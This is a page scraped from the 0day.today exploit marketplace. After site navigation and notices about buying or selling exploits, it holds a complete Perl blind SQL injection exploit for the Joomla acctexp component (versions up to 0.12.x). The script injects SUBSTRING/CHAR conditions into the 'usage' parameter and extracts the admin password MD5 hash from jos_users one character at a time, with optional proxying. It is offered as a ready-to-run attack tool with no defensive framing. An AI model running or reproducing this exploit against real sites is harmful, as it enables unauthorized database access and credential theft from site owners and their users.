0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Joomla Component acctexp <= 0.12.x Blind SQL Injection Exploit
============================================================== Joomla Component acctexp <= 0.12.x Blind SQL Injection Exploit ============================================================== #!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print " \n"; print " #############################################################\n"; print " # Joomla Component acctexp Blind SQL Injection Exploit #\n"; print " # Author:His0k4 [ALGERIAN HaCkeR] #\n"; print " # #\n"; print " # Greetz: All friends & muslims HacKeRs #\n"; print " # #\n"; print " # Usage: perl acctexp.pl host path <options> #\n"; print " # Example: perl acctexp.pl www.host.com /joomla/ -g 1 #\n"; print " # #\n"; print " # Options: #\n"; print " # -g usage id #\n"; print " # Note: #\n"; print " # Don't forget to change the match if you have to do it :)#\n"; print " #############################################################\n"; exit; } my $host = $ARGV[0]; my $path = $ARGV[1]; my $userid = 1; my $gid = $ARGV[2]; my %options = (); GetOptions(\%options, "u=i", "p=s", "g=i"); print "[~] Exploiting...\n"; if($options{"u"}) { $userid = $options{"u"}; } if($options{"g"}) { $gid = $options{"g"}; } syswrite(STDOUT, "[~] MD5-Hash: ", 14); for(my $i = 1; $i <= 32; $i++) { my $f = 0; my $h = 48; while(!$f && $h <= 57) { if(istrue2($host, $path, $userid, $gid, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } if(!$f) { $h = 97; while(!$f && $h <= 122) { if(istrue2($host, $path, $userid, $gid, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } } } print "\n[~] Exploiting done\n"; sub istrue2 { my $host = shift; my $path = shift; my $uid = shift; my $rid = shift; my $i = shift; my $h = shift; my $ua = LWP::UserAgent->new; my $query = "http://".$host.$path."index.php?option=com_acctexp&task=subscribe&usage=".$gid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=CHAR(".$h.")"; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } my $resp = $ua->get($query); my $content = $resp->content; my $regexp = "Verify Password"; if($content =~ /$regexp/) { return 1; } else { return 0; } } # 0day.today [2024-06-30] #